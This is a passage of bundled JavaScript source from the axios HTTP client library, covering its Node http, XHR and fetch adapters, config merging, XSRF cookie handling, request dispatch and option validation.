headers.setContentType(data.type || 'application/octet-stream'); headers.setContentLength(data.size || 0); data = stream__default["default"].Readable.from(readBlob$1(data)); } else if (data && !utils$1.isStream(data)) { if (Buffer.isBuffer(data)) ; else if (utils$1.isArrayBuffer(data)) { data = Buffer.from(new Uint8Array(data)); } else if (utils$1.isString(data)) { data = Buffer.from(data, 'utf-8'); } else { return reject(new AxiosError( 'Data after transformation must be a string, an ArrayBuffer, a Buffer, or a Stream', AxiosError.ERR_BAD_REQUEST, config )); } // Add Content-Length header if data exists headers.setContentLength(data.length, false); if (config.maxBodyLength > -1 && data.length > config.maxBodyLength) { return reject(new AxiosError( 'Request body larger than maxBodyLength limit', AxiosError.ERR_BAD_REQUEST, config )); } } const contentLength = utils$1.toFiniteNumber(headers.getContentLength()); if (utils$1.isArray(maxRate)) { maxUploadRate = maxRate[0]; maxDownloadRate = maxRate[1]; } else { maxUploadRate = maxDownloadRate = maxRate; } if (data && (onUploadProgress || maxUploadRate)) { if (!utils$1.isStream(data)) { data = stream__default["default"].Readable.from(data, {objectMode: false}); } data = stream__default["default"].pipeline([data, new AxiosTransformStream$1({ length: contentLength, maxRate: utils$1.toFiniteNumber(maxUploadRate) })], utils$1.noop); onUploadProgress && data.on('progress', progress => { onUploadProgress(Object.assign(progress, { upload: true })); }); } // HTTP basic authentication let auth = undefined; if (config.auth) { const username = config.auth.username || ''; const password = config.auth.password || ''; auth = username + ':' + password; } if (!auth && parsed.username) { const urlUsername = parsed.username; const urlPassword = parsed.password; auth = urlUsername + ':' + urlPassword; } auth && headers.delete('authorization'); let path; try { path = buildURL( parsed.pathname + parsed.search, config.params, config.paramsSerializer ).replace(/^\?/, ''); } catch (err) { const customErr = new Error(err.message); customErr.config = config; customErr.url = config.url; customErr.exists = true; return reject(customErr); } headers.set( 'Accept-Encoding', 'gzip, compress, deflate' + (isBrotliSupported ? ', br' : ''), false ); const options = { path, method: method, headers: headers.toJSON(), agents: { http: config.httpAgent, https: config.httpsAgent }, auth, protocol, family, beforeRedirect: dispatchBeforeRedirect, beforeRedirects: {} }; // cacheable-lookup integration hotfix !utils$1.isUndefined(lookup) && (options.lookup = lookup); if (config.socketPath) { options.socketPath = config.socketPath; } else { options.hostname = parsed.hostname; options.port = parsed.port; setProxy(options, config.proxy, protocol + '//' + parsed.hostname + (parsed.port ? ':' + parsed.port : '') + options.path); } let transport; const isHttpsRequest = isHttps.test(options.protocol); options.agent = isHttpsRequest ? config.httpsAgent : config.httpAgent; if (config.transport) { transport = config.transport; } else if (config.maxRedirects === 0) { transport = isHttpsRequest ? https__default["default"] : http__default["default"]; } else { if (config.maxRedirects) { options.maxRedirects = config.maxRedirects; } if (config.beforeRedirect) { options.beforeRedirects.config = config.beforeRedirect; } transport = isHttpsRequest ? httpsFollow : httpFollow; } if (config.maxBodyLength > -1) { options.maxBodyLength = config.maxBodyLength; } else { // follow-redirects does not skip comparison, so it should always succeed for axios -1 unlimited options.maxBodyLength = Infinity; } if (config.insecureHTTPParser) { options.insecureHTTPParser = config.insecureHTTPParser; } // Create the request req = transport.request(options, function handleResponse(res) { if (req.destroyed) return; const streams = [res]; const responseLength = +res.headers['content-length']; if (onDownloadProgress) { const transformStream = new AxiosTransformStream$1({ length: utils$1.toFiniteNumber(responseLength), maxRate: utils$1.toFiniteNumber(maxDownloadRate) }); onDownloadProgress && transformStream.on('progress', progress => { onDownloadProgress(Object.assign(progress, { download: true })); }); streams.push(transformStream); } // decompress the response body transparently if required let responseStream = res; // return the last request in case of redirects const lastRequest = res.req || req; // if decompress disabled we should not decompress if (config.decompress !== false && res.headers['content-encoding']) { // if no content, but headers still say that it is encoded, // remove the header not confuse downstream operations if (method === 'HEAD' || res.statusCode === 204) { delete res.headers['content-encoding']; } switch ((res.headers['content-encoding'] || '').toLowerCase()) { /*eslint default-case:0*/ case 'gzip': case 'x-gzip': case 'compress': case 'x-compress': // add the unzipper to the body stream processing pipeline streams.push(zlib__default["default"].createUnzip(zlibOptions)); // remove the content-encoding in order to not confuse downstream operations delete res.headers['content-encoding']; break; case 'deflate': streams.push(new ZlibHeaderTransformStream$1()); // add the unzipper to the body stream processing pipeline streams.push(zlib__default["default"].createUnzip(zlibOptions)); // remove the content-encoding in order to not confuse downstream operations delete res.headers['content-encoding']; break; case 'br': if (isBrotliSupported) { streams.push(zlib__default["default"].createBrotliDecompress(brotliOptions)); delete res.headers['content-encoding']; } } } responseStream = streams.length > 1 ? stream__default["default"].pipeline(streams, utils$1.noop) : streams[0]; const offListeners = stream__default["default"].finished(responseStream, () => { offListeners(); onFinished(); }); const response = { status: res.statusCode, statusText: res.statusMessage, headers: new AxiosHeaders$1(res.headers), config, request: lastRequest }; if (responseType === 'stream') { response.data = responseStream; settle(resolve, reject, response); } else { const responseBuffer = []; let totalResponseBytes = 0; responseStream.on('data', function handleStreamData(chunk) { responseBuffer.push(chunk); totalResponseBytes += chunk.length; // make sure the content length is not over the maxContentLength if specified if (config.maxContentLength > -1 && totalResponseBytes > config.maxContentLength) { // stream.destroy() emit aborted event before calling reject() on Node.js v16 rejected = true; responseStream.destroy(); reject(new AxiosError('maxContentLength size of ' + config.maxContentLength + ' exceeded', AxiosError.ERR_BAD_RESPONSE, config, lastRequest)); } }); responseStream.on('aborted', function handlerStreamAborted() { if (rejected) { return; } const err = new AxiosError( 'maxContentLength size of ' + config.maxContentLength + ' exceeded', AxiosError.ERR_BAD_RESPONSE, config, lastRequest ); responseStream.destroy(err); reject(err); }); responseStream.on('error', function handleStreamError(err) { if (req.destroyed) return; reject(AxiosError.from(err, null, config, lastRequest)); }); responseStream.on('end', function handleStreamEnd() { try { let responseData = responseBuffer.length === 1 ? responseBuffer[0] : Buffer.concat(responseBuffer); if (responseType !== 'arraybuffer') { responseData = responseData.toString(responseEncoding); if (!responseEncoding || responseEncoding === 'utf8') { responseData = utils$1.stripBOM(responseData); } } response.data = responseData; } catch (err) { return reject(AxiosError.from(err, null, config, response.request, response)); } settle(resolve, reject, response); }); } emitter.once('abort', err => { if (!responseStream.destroyed) { responseStream.emit('error', err); responseStream.destroy(); } }); }); emitter.once('abort', err => { reject(err); req.destroy(err); }); // Handle errors req.on('error', function handleRequestError(err) { // @todo remove // if (req.aborted && err.code !== AxiosError.ERR_FR_TOO_MANY_REDIRECTS) return; reject(AxiosError.from(err, null, config, req)); }); // set tcp keep alive to prevent drop connection by peer req.on('socket', function handleRequestSocket(socket) { // default interval of sending ack packet is 1 minute socket.setKeepAlive(true, 1000 * 60); }); // Handle request timeout if (config.timeout) { // This is forcing a int timeout to avoid problems if the `req` interface doesn't handle other types. const timeout = parseInt(config.timeout, 10); if (Number.isNaN(timeout)) { reject(new AxiosError( 'error trying to parse `config.timeout` to int', AxiosError.ERR_BAD_OPTION_VALUE, config, req )); return; } // Sometime, the response will be very slow, and does not respond, the connect event will be block by event loop system. // And timer callback will be fired, and abort() will be invoked before connection, then get "socket hang up" and code ECONNRESET. // At this time, if we have a large number of request, nodejs will hang up some socket on background. and the number will up and up. // And then these socket which be hang up will devouring CPU little by little. // ClientRequest.setTimeout will be fired on the specify milliseconds, and can make sure that abort() will be fired after connect. req.setTimeout(timeout, function handleRequestTimeout() { if (isDone) return; let timeoutErrorMessage = config.timeout ? 'timeout of ' + config.timeout + 'ms exceeded' : 'timeout exceeded'; const transitional = config.transitional || transitionalDefaults; if (config.timeoutErrorMessage) { timeoutErrorMessage = config.timeoutErrorMessage; } reject(new AxiosError( timeoutErrorMessage, transitional.clarifyTimeoutError ? AxiosError.ETIMEDOUT : AxiosError.ECONNABORTED, config, req )); abort(); }); } // Send the request if (utils$1.isStream(data)) { let ended = false; let errored = false; data.on('end', () => { ended = true; }); data.once('error', err => { errored = true; req.destroy(err); }); data.on('close', () => { if (!ended && !errored) { abort(new CanceledError('Request stream has been aborted', config, req)); } }); data.pipe(req); } else { req.end(data); } }); }; const progressEventReducer = (listener, isDownloadStream, freq = 3) => { let bytesNotified = 0; const _speedometer = speedometer(50, 250); return throttle(e => { const loaded = e.loaded; const total = e.lengthComputable ? e.total : undefined; const progressBytes = loaded - bytesNotified; const rate = _speedometer(progressBytes); const inRange = loaded <= total; bytesNotified = loaded; const data = { loaded, total, progress: total ? (loaded / total) : undefined, bytes: progressBytes, rate: rate ? rate : undefined, estimated: rate && total && inRange ? (total - loaded) / rate : undefined, event: e, lengthComputable: total != null }; data[isDownloadStream ? 'download' : 'upload'] = true; listener(data); }, freq); }; const isURLSameOrigin = platform.hasStandardBrowserEnv ? // Standard browser envs have full support of the APIs needed to test // whether the request URL is of the same origin as current location. (function standardBrowserEnv() { const msie = /(msie|trident)/i.test(navigator.userAgent); const urlParsingNode = document.createElement('a'); let originURL; /** * Parse a URL to discover its components * * @param {String} url The URL to be parsed * @returns {Object} */ function resolveURL(url) { let href = url; if (msie) { // IE needs attribute set twice to normalize properties urlParsingNode.setAttribute('href', href); href = urlParsingNode.href; } urlParsingNode.setAttribute('href', href); // urlParsingNode provides the UrlUtils interface - http://url.spec.whatwg.org/#urlutils return { href: urlParsingNode.href, protocol: urlParsingNode.protocol ? urlParsingNode.protocol.replace(/:$/, '') : '', host: urlParsingNode.host, search: urlParsingNode.search ? urlParsingNode.search.replace(/^\?/, '') : '', hash: urlParsingNode.hash ? urlParsingNode.hash.replace(/^#/, '') : '', hostname: urlParsingNode.hostname, port: urlParsingNode.port, pathname: (urlParsingNode.pathname.charAt(0) === '/') ? urlParsingNode.pathname : '/' + urlParsingNode.pathname }; } originURL = resolveURL(window.location.href); /** * Determine if a URL shares the same origin as the current location * * @param {String} requestURL The URL to test * @returns {boolean} True if URL shares the same origin, otherwise false */ return function isURLSameOrigin(requestURL) { const parsed = (utils$1.isString(requestURL)) ? resolveURL(requestURL) : requestURL; return (parsed.protocol === originURL.protocol && parsed.host === originURL.host); }; })() : // Non standard browser envs (web workers, react-native) lack needed support. (function nonStandardBrowserEnv() { return function isURLSameOrigin() { return true; }; })(); const cookies = platform.hasStandardBrowserEnv ? // Standard browser envs support document.cookie { write(name, value, expires, path, domain, secure) { const cookie = [name + '=' + encodeURIComponent(value)]; utils$1.isNumber(expires) && cookie.push('expires=' + new Date(expires).toGMTString()); utils$1.isString(path) && cookie.push('path=' + path); utils$1.isString(domain) && cookie.push('domain=' + domain); secure === true && cookie.push('secure'); document.cookie = cookie.join('; '); }, read(name) { const match = document.cookie.match(new RegExp('(^|;\\s*)(' + name + ')=([^;]*)')); return (match ? decodeURIComponent(match[3]) : null); }, remove(name) { this.write(name, '', Date.now() - 86400000); } } : // Non-standard browser env (web workers, react-native) lack needed support. { write() {}, read() { return null; }, remove() {} }; const headersToObject = (thing) => thing instanceof AxiosHeaders$1 ? { ...thing } : thing; /** * Config-specific merge-function which creates a new config-object * by merging two configuration objects together. * * @param {Object} config1 * @param {Object} config2 * * @returns {Object} New object resulting from merging config2 to config1 */ function mergeConfig(config1, config2) { // eslint-disable-next-line no-param-reassign config2 = config2 || {}; const config = {}; function getMergedValue(target, source, caseless) { if (utils$1.isPlainObject(target) && utils$1.isPlainObject(source)) { return utils$1.merge.call({caseless}, target, source); } else if (utils$1.isPlainObject(source)) { return utils$1.merge({}, source); } else if (utils$1.isArray(source)) { return source.slice(); } return source; } // eslint-disable-next-line consistent-return function mergeDeepProperties(a, b, caseless) { if (!utils$1.isUndefined(b)) { return getMergedValue(a, b, caseless); } else if (!utils$1.isUndefined(a)) { return getMergedValue(undefined, a, caseless); } } // eslint-disable-next-line consistent-return function valueFromConfig2(a, b) { if (!utils$1.isUndefined(b)) { return getMergedValue(undefined, b); } } // eslint-disable-next-line consistent-return function defaultToConfig2(a, b) { if (!utils$1.isUndefined(b)) { return getMergedValue(undefined, b); } else if (!utils$1.isUndefined(a)) { return getMergedValue(undefined, a); } } // eslint-disable-next-line consistent-return function mergeDirectKeys(a, b, prop) { if (prop in config2) { return getMergedValue(a, b); } else if (prop in config1) { return getMergedValue(undefined, a); } } const mergeMap = { url: valueFromConfig2, method: valueFromConfig2, data: valueFromConfig2, baseURL: defaultToConfig2, transformRequest: defaultToConfig2, transformResponse: defaultToConfig2, paramsSerializer: defaultToConfig2, timeout: defaultToConfig2, timeoutMessage: defaultToConfig2, withCredentials: defaultToConfig2, withXSRFToken: defaultToConfig2, adapter: defaultToConfig2, responseType: defaultToConfig2, xsrfCookieName: defaultToConfig2, xsrfHeaderName: defaultToConfig2, onUploadProgress: defaultToConfig2, onDownloadProgress: defaultToConfig2, decompress: defaultToConfig2, maxContentLength: defaultToConfig2, maxBodyLength: defaultToConfig2, beforeRedirect: defaultToConfig2, transport: defaultToConfig2, httpAgent: defaultToConfig2, httpsAgent: defaultToConfig2, cancelToken: defaultToConfig2, socketPath: defaultToConfig2, responseEncoding: defaultToConfig2, validateStatus: mergeDirectKeys, headers: (a, b) => mergeDeepProperties(headersToObject(a), headersToObject(b), true) }; utils$1.forEach(Object.keys(Object.assign({}, config1, config2)), function computeConfigValue(prop) { const merge = mergeMap[prop] || mergeDeepProperties; const configValue = merge(config1[prop], config2[prop], prop); (utils$1.isUndefined(configValue) && merge !== mergeDirectKeys) || (config[prop] = configValue); }); return config; } const resolveConfig = (config) => { const newConfig = mergeConfig({}, config); let {data, withXSRFToken, xsrfHeaderName, xsrfCookieName, headers, auth} = newConfig; newConfig.headers = headers = AxiosHeaders$1.from(headers); newConfig.url = buildURL(buildFullPath(newConfig.baseURL, newConfig.url), config.params, config.paramsSerializer); // HTTP basic authentication if (auth) { headers.set('Authorization', 'Basic ' + btoa((auth.username || '') + ':' + (auth.password ? unescape(encodeURIComponent(auth.password)) : '')) ); } let contentType; if (utils$1.isFormData(data)) { if (platform.hasStandardBrowserEnv || platform.hasStandardBrowserWebWorkerEnv) { headers.setContentType(undefined); // Let the browser set it } else if ((contentType = headers.getContentType()) !== false) { // fix semicolon duplication issue for ReactNative FormData implementation const [type, ...tokens] = contentType ? contentType.split(';').map(token => token.trim()).filter(Boolean) : []; headers.setContentType([type || 'multipart/form-data', ...tokens].join('; ')); } } // Add xsrf header // This is only done if running in a standard browser environment. // Specifically not if we're in a web worker, or react-native. if (platform.hasStandardBrowserEnv) { withXSRFToken && utils$1.isFunction(withXSRFToken) && (withXSRFToken = withXSRFToken(newConfig)); if (withXSRFToken || (withXSRFToken !== false && isURLSameOrigin(newConfig.url))) { // Add xsrf header const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName); if (xsrfValue) { headers.set(xsrfHeaderName, xsrfValue); } } } return newConfig; }; const isXHRAdapterSupported = typeof XMLHttpRequest !== 'undefined'; const xhrAdapter = isXHRAdapterSupported && function (config) { return new Promise(function dispatchXhrRequest(resolve, reject) { const _config = resolveConfig(config); let requestData = _config.data; const requestHeaders = AxiosHeaders$1.from(_config.headers).normalize(); let {responseType} = _config; let onCanceled; function done() { if (_config.cancelToken) { _config.cancelToken.unsubscribe(onCanceled); } if (_config.signal) { _config.signal.removeEventListener('abort', onCanceled); } } let request = new XMLHttpRequest(); request.open(_config.method.toUpperCase(), _config.url, true); // Set the request timeout in MS request.timeout = _config.timeout; function onloadend() { if (!request) { return; } // Prepare the response const responseHeaders = AxiosHeaders$1.from( 'getAllResponseHeaders' in request && request.getAllResponseHeaders() ); const responseData = !responseType || responseType === 'text' || responseType === 'json' ? request.responseText : request.response; const response = { data: responseData, status: request.status, statusText: request.statusText, headers: responseHeaders, config, request }; settle(function _resolve(value) { resolve(value); done(); }, function _reject(err) { reject(err); done(); }, response); // Clean up request request = null; } if ('onloadend' in request) { // Use onloadend if available request.onloadend = onloadend; } else { // Listen for ready state to emulate onloadend request.onreadystatechange = function handleLoad() { if (!request || request.readyState !== 4) { return; } // The request errored out and we didn't get a response, this will be // handled by onerror instead // With one exception: request that using file: protocol, most browsers // will return status as 0 even though it's a successful request if (request.status === 0 && !(request.responseURL && request.responseURL.indexOf('file:') === 0)) { return; } // readystate handler is calling before onerror or ontimeout handlers, // so we should call onloadend on the next 'tick' setTimeout(onloadend); }; } // Handle browser request cancellation (as opposed to a manual cancellation) request.onabort = function handleAbort() { if (!request) { return; } reject(new AxiosError('Request aborted', AxiosError.ECONNABORTED, _config, request)); // Clean up request request = null; }; // Handle low level network errors request.onerror = function handleError() { // Real errors are hidden from us by the browser // onerror should only fire if it's a network error reject(new AxiosError('Network Error', AxiosError.ERR_NETWORK, _config, request)); // Clean up request request = null; }; // Handle timeout request.ontimeout = function handleTimeout() { let timeoutErrorMessage = _config.timeout ? 'timeout of ' + _config.timeout + 'ms exceeded' : 'timeout exceeded'; const transitional = _config.transitional || transitionalDefaults; if (_config.timeoutErrorMessage) { timeoutErrorMessage = _config.timeoutErrorMessage; } reject(new AxiosError( timeoutErrorMessage, transitional.clarifyTimeoutError ? AxiosError.ETIMEDOUT : AxiosError.ECONNABORTED, _config, request)); // Clean up request request = null; }; // Remove Content-Type if data is undefined requestData === undefined && requestHeaders.setContentType(null); // Add headers to the request if ('setRequestHeader' in request) { utils$1.forEach(requestHeaders.toJSON(), function setRequestHeader(val, key) { request.setRequestHeader(key, val); }); } // Add withCredentials to request if needed if (!utils$1.isUndefined(_config.withCredentials)) { request.withCredentials = !!_config.withCredentials; } // Add responseType to request if needed if (responseType && responseType !== 'json') { request.responseType = _config.responseType; } // Handle progress if needed if (typeof _config.onDownloadProgress === 'function') { request.addEventListener('progress', progressEventReducer(_config.onDownloadProgress, true)); } // Not all browsers support upload events if (typeof _config.onUploadProgress === 'function' && request.upload) { request.upload.addEventListener('progress', progressEventReducer(_config.onUploadProgress)); } if (_config.cancelToken || _config.signal) { // Handle cancellation // eslint-disable-next-line func-names onCanceled = cancel => { if (!request) { return; } reject(!cancel || cancel.type ? new CanceledError(null, config, request) : cancel); request.abort(); request = null; }; _config.cancelToken && _config.cancelToken.subscribe(onCanceled); if (_config.signal) { _config.signal.aborted ? onCanceled() : _config.signal.addEventListener('abort', onCanceled); } } const protocol = parseProtocol(_config.url); if (protocol && platform.protocols.indexOf(protocol) === -1) { reject(new AxiosError('Unsupported protocol ' + protocol + ':', AxiosError.ERR_BAD_REQUEST, config)); return; } // Send the request request.send(requestData || null); }); }; const composeSignals = (signals, timeout) => { let controller = new AbortController(); let aborted; const onabort = function (cancel) { if (!aborted) { aborted = true; unsubscribe(); const err = cancel instanceof Error ? cancel : this.reason; controller.abort(err instanceof AxiosError ? err : new CanceledError(err instanceof Error ? err.message : err)); } }; let timer = timeout && setTimeout(() => { onabort(new AxiosError(`timeout ${timeout} of ms exceeded`, AxiosError.ETIMEDOUT)); }, timeout); const unsubscribe = () => { if (signals) { timer && clearTimeout(timer); timer = null; signals.forEach(signal => { signal && (signal.removeEventListener ? signal.removeEventListener('abort', onabort) : signal.unsubscribe(onabort)); }); signals = null; } }; signals.forEach((signal) => signal && signal.addEventListener && signal.addEventListener('abort', onabort)); const {signal} = controller; signal.unsubscribe = unsubscribe; return [signal, () => { timer && clearTimeout(timer); timer = null; }]; }; const composeSignals$1 = composeSignals; const streamChunk = function* (chunk, chunkSize) { let len = chunk.byteLength; if (!chunkSize || len < chunkSize) { yield chunk; return; } let pos = 0; let end; while (pos < len) { end = pos + chunkSize; yield chunk.slice(pos, end); pos = end; } }; const readBytes = async function* (iterable, chunkSize, encode) { for await (const chunk of iterable) { yield* streamChunk(ArrayBuffer.isView(chunk) ? chunk : (await encode(String(chunk))), chunkSize); } }; const trackStream = (stream, chunkSize, onProgress, onFinish, encode) => { const iterator = readBytes(stream, chunkSize, encode); let bytes = 0; return new ReadableStream({ type: 'bytes', async pull(controller) { const {done, value} = await iterator.next(); if (done) { controller.close(); onFinish(); return; } let len = value.byteLength; onProgress && onProgress(bytes += len); controller.enqueue(new Uint8Array(value)); }, cancel(reason) { onFinish(reason); return iterator.return(); } }, { highWaterMark: 2 }) }; const fetchProgressDecorator = (total, fn) => { const lengthComputable = total != null; return (loaded) => setTimeout(() => fn({ lengthComputable, total, loaded })); }; const isFetchSupported = typeof fetch === 'function' && typeof Request === 'function' && typeof Response === 'function'; const isReadableStreamSupported = isFetchSupported && typeof ReadableStream === 'function'; // used only inside the fetch adapter const encodeText = isFetchSupported && (typeof TextEncoder === 'function' ? ((encoder) => (str) => encoder.encode(str))(new TextEncoder()) : async (str) => new Uint8Array(await new Response(str).arrayBuffer()) ); const supportsRequestStream = isReadableStreamSupported && (() => { let duplexAccessed = false; const hasContentType = new Request(platform.origin, { body: new ReadableStream(), method: 'POST', get duplex() { duplexAccessed = true; return 'half'; }, }).headers.has('Content-Type'); return duplexAccessed && !hasContentType; })(); const DEFAULT_CHUNK_SIZE = 64 * 1024; const supportsResponseStream = isReadableStreamSupported && !!(()=> { try { return utils$1.isReadableStream(new Response('').body); } catch(err) { // return undefined } })(); const resolvers = { stream: supportsResponseStream && ((res) => res.body) }; isFetchSupported && (((res) => { ['text', 'arrayBuffer', 'blob', 'formData', 'stream'].forEach(type => { !resolvers[type] && (resolvers[type] = utils$1.isFunction(res[type]) ? (res) => res[type]() : (_, config) => { throw new AxiosError(`Response type '${type}' is not supported`, AxiosError.ERR_NOT_SUPPORT, config); }); }); })(new Response)); const getBodyLength = async (body) => { if (body == null) { return 0; } if(utils$1.isBlob(body)) { return body.size; } if(utils$1.isSpecCompliantForm(body)) { return (await new Request(body).arrayBuffer()).byteLength; } if(utils$1.isArrayBufferView(body)) { return body.byteLength; } if(utils$1.isURLSearchParams(body)) { body = body + ''; } if(utils$1.isString(body)) { return (await encodeText(body)).byteLength; } }; const resolveBodyLength = async (headers, body) => { const length = utils$1.toFiniteNumber(headers.getContentLength()); return length == null ? getBodyLength(body) : length; }; const fetchAdapter = isFetchSupported && (async (config) => { let { url, method, data, signal, cancelToken, timeout, onDownloadProgress, onUploadProgress, responseType, headers, withCredentials = 'same-origin', fetchOptions } = resolveConfig(config); responseType = responseType ? (responseType + '').toLowerCase() : 'text'; let [composedSignal, stopTimeout] = (signal || cancelToken || timeout) ? composeSignals$1([signal, cancelToken], timeout) : []; let finished, request; const onFinish = () => { !finished && setTimeout(() => { composedSignal && composedSignal.unsubscribe(); }); finished = true; }; let requestContentLength; try { if ( onUploadProgress && supportsRequestStream && method !== 'get' && method !== 'head' && (requestContentLength = await resolveBodyLength(headers, data)) !== 0 ) { let _request = new Request(url, { method: 'POST', body: data, duplex: "half" }); let contentTypeHeader; if (utils$1.isFormData(data) && (contentTypeHeader = _request.headers.get('content-type'))) { headers.setContentType(contentTypeHeader); } if (_request.body) { data = trackStream(_request.body, DEFAULT_CHUNK_SIZE, fetchProgressDecorator( requestContentLength, progressEventReducer(onUploadProgress) ), null, encodeText); } } if (!utils$1.isString(withCredentials)) { withCredentials = withCredentials ? 'cors' : 'omit'; } request = new Request(url, { ...fetchOptions, signal: composedSignal, method: method.toUpperCase(), headers: headers.normalize().toJSON(), body: data, duplex: "half", withCredentials }); let response = await fetch(request); const isStreamResponse = supportsResponseStream && (responseType === 'stream' || responseType === 'response'); if (supportsResponseStream && (onDownloadProgress || isStreamResponse)) { const options = {}; ['status', 'statusText', 'headers'].forEach(prop => { options[prop] = response[prop]; }); const responseContentLength = utils$1.toFiniteNumber(response.headers.get('content-length')); response = new Response( trackStream(response.body, DEFAULT_CHUNK_SIZE, onDownloadProgress && fetchProgressDecorator( responseContentLength, progressEventReducer(onDownloadProgress, true) ), isStreamResponse && onFinish, encodeText), options ); } responseType = responseType || 'text'; let responseData = await resolvers[utils$1.findKey(resolvers, responseType) || 'text'](response, config); !isStreamResponse && onFinish(); stopTimeout && stopTimeout(); return await new Promise((resolve, reject) => { settle(resolve, reject, { data: responseData, headers: AxiosHeaders$1.from(response.headers), status: response.status, statusText: response.statusText, config, request }); }) } catch (err) { onFinish(); if (err && err.name === 'TypeError' && /fetch/i.test(err.message)) { throw Object.assign( new AxiosError('Network Error', AxiosError.ERR_NETWORK, config, request), { cause: err.cause || err } ) } throw AxiosError.from(err, err && err.code, config, request); } }); const knownAdapters = { http: httpAdapter, xhr: xhrAdapter, fetch: fetchAdapter }; utils$1.forEach(knownAdapters, (fn, value) => { if (fn) { try { Object.defineProperty(fn, 'name', {value}); } catch (e) { // eslint-disable-next-line no-empty } Object.defineProperty(fn, 'adapterName', {value}); } }); const renderReason = (reason) => `- ${reason}`; const isResolvedHandle = (adapter) => utils$1.isFunction(adapter) || adapter === null || adapter === false; const adapters = { getAdapter: (adapters) => { adapters = utils$1.isArray(adapters) ? adapters : [adapters]; const {length} = adapters; let nameOrAdapter; let adapter; const rejectedReasons = {}; for (let i = 0; i < length; i++) { nameOrAdapter = adapters[i]; let id; adapter = nameOrAdapter; if (!isResolvedHandle(nameOrAdapter)) { adapter = knownAdapters[(id = String(nameOrAdapter)).toLowerCase()]; if (adapter === undefined) { throw new AxiosError(`Unknown adapter '${id}'`); } } if (adapter) { break; } rejectedReasons[id || '#' + i] = adapter; } if (!adapter) { const reasons = Object.entries(rejectedReasons) .map(([id, state]) => `adapter ${id} ` + (state === false ? 'is not supported by the environment' : 'is not available in the build') ); let s = length ? (reasons.length > 1 ? 'since :\n' + reasons.map(renderReason).join('\n') : ' ' + renderReason(reasons[0])) : 'as no adapter specified'; throw new AxiosError( `There is no suitable adapter to dispatch the request ` + s, 'ERR_NOT_SUPPORT' ); } return adapter; }, adapters: knownAdapters }; /** * Throws a `CanceledError` if cancellation has been requested. * * @param {Object} config The config that is to be used for the request * * @returns {void} */ function throwIfCancellationRequested(config) { if (config.cancelToken) { config.cancelToken.throwIfRequested(); } if (config.signal && config.signal.aborted) { throw new CanceledError(null, config); } } /** * Dispatch a request to the server using the configured adapter. * * @param {object} config The config that is to be used for the request * * @returns {Promise} The Promise to be fulfilled */ function dispatchRequest(config) { throwIfCancellationRequested(config); config.headers = AxiosHeaders$1.from(config.headers); // Transform request data config.data = transformData.call( config, config.transformRequest ); if (['post', 'put', 'patch'].indexOf(config.method) !== -1) { config.headers.setContentType('application/x-www-form-urlencoded', false); } const adapter = adapters.getAdapter(config.adapter || defaults$1.adapter); return adapter(config).then(function onAdapterResolution(response) { throwIfCancellationRequested(config); // Transform response data response.data = transformData.call( config, config.transformResponse, response ); response.headers = AxiosHeaders$1.from(response.headers); return response; }, function onAdapterRejection(reason) { if (!isCancel(reason)) { throwIfCancellationRequested(config); // Transform response data if (reason && reason.response) { reason.response.data = transformData.call( config, config.transformResponse, reason.response ); reason.response.headers = AxiosHeaders$1.from(reason.response.headers); } } return Promise.reject(reason); }); } const validators$1 = {}; // eslint-disable-next-line func-names ['object', 'boolean', 'number', 'function', 'string', 'symbol'].forEach((type, i) => { validators$1[type] = function validator(thing) { return typeof thing === type || 'a' + (i < 1 ? 'n ' : ' ') + type; }; }); const deprecatedWarnings = {}; /** * Transitional option validator * * @param {function|boolean?} validator - set to false if the transitional option has been removed * @param {string?} version - deprecated version / removed since version * @param {string?} message - some message with additional info * * @returns {function} */ validators$1.transitional = function transitional(validator, version, message) { function formatMessage(opt, desc) { return '[Axios v' + VERSION + '] Transitional option \'' + opt + '\'' + desc + (message ? '. ' + message : ''); } // eslint-disable-next-line func-names return (value, opt, opts) => { if (validator === false) { throw new AxiosError( formatMessage(opt, ' has been removed' + (version ? ' in ' + version : '')), AxiosError.ERR_DEPRECATED ); } if (version && !deprecatedWarnings[opt]) { deprecatedWarnings[opt] = true; // eslint-disable-next-line no-console console.warn( formatMessage( opt, ' has been deprecated since v' + version + ' and will be removed in the near future' ) ); } return validator ? validator(value, opt, opts) : true; }; }; /** * Assert object's properties type * * @param {object} options * @param {object} schema * @param {boolean?} allowUnknown * * @returns {object} */ function assertOptions(options, schema, allowUnknown) { if (typeof options !== 'object') { throw new AxiosError('options must be an object', AxiosError.ERR_BAD_OPTION_VALUE); } const keys = Object.keys(options); let i = keys.length; while (i-- > 0) { const opt = keys[i]; const validator = schema[opt]; if (validator) { const value = options[opt]; const result = value === undefined || validator(value, opt, options); if (result !== true) { throw new AxiosError('option ' + opt + ' must be ' + result, AxiosError.ERR_BAD_OPTION_VALUE); } continue; } if (allowUnknown !== true) { throw new AxiosError('Unknown option ' + opt, AxiosError.ERR_BAD_OPTION); } } } const validator = { assertOptions, validators: validators$1 }; const validators = validator.validators; /** * Create a new instance of Axios * * @param {Object} instanceConfig The default config for the instance * * @return {Axios} A new instance of Axios */ class Axios { constructor(instanceConfig) { this.defaults = instanceConfig; this.interceptors = { request: new InterceptorManager$1(), response: new InterceptorManager$1() }; } /** * Dispatch a request * * @param {String|Object} configOrUrl The config specific for this request (merged with this.defaults) * @param {?Object} config * * @returns {Promise} The Promise to be fulfilled */ async request(configOrUrl, config) { try { return await this._request(configOrUrl, config); } catch (err) { if (err instanceof Error) { let dummy; Error.captureStackTrace ? Error.captureStackTrace(dummy = {}) : (dummy = new Error()); // slice off the Error: ... line const stack = dummy.stack ? dummy.stack.replace(/^.+\n/, '') : ''; try { if (!err.stack) { err.stack = stack; // match without the 2 top stack lines } else if (stack && !String(err.stack).endsWith(stack.replace(/^.+\n.+\n/, ''))) { err.stack += '\n' + stack; } } catch (e) { // ignore the case where "stack" is an un-writable property } } throw err; } } _request(configOrUrl, config) { /*eslint no-param-reassign:0*/ // Allow for axios('example/url'[, config]) a la fetch API if (typeof configOrUrl === 'string') { config = config || {}; config.url = configOrUrl; } else { config = configOrUrl || {}; } config = mergeConfig(this.defaults, config); const {transitional, paramsSerializer, headers} = config; if (transitional !== undefined) { validator.assertOptions(transitional, { silentJSONParsing: validators.transitional(validators.boolean), forcedJSONParsing: validators.transitional(validators.boolean), clarifyTimeoutError: validators.transitional(validators.boolean) }, false); } if (paramsSerializer != null) { if (utils$1.isFunction(paramsSerializer)) { config.paramsSerializer = { serialize: paramsSerializer }; } else { validator.assertOptions(paramsSerializer, { encode: validators.function, serialize: validators.function }, true); } } // 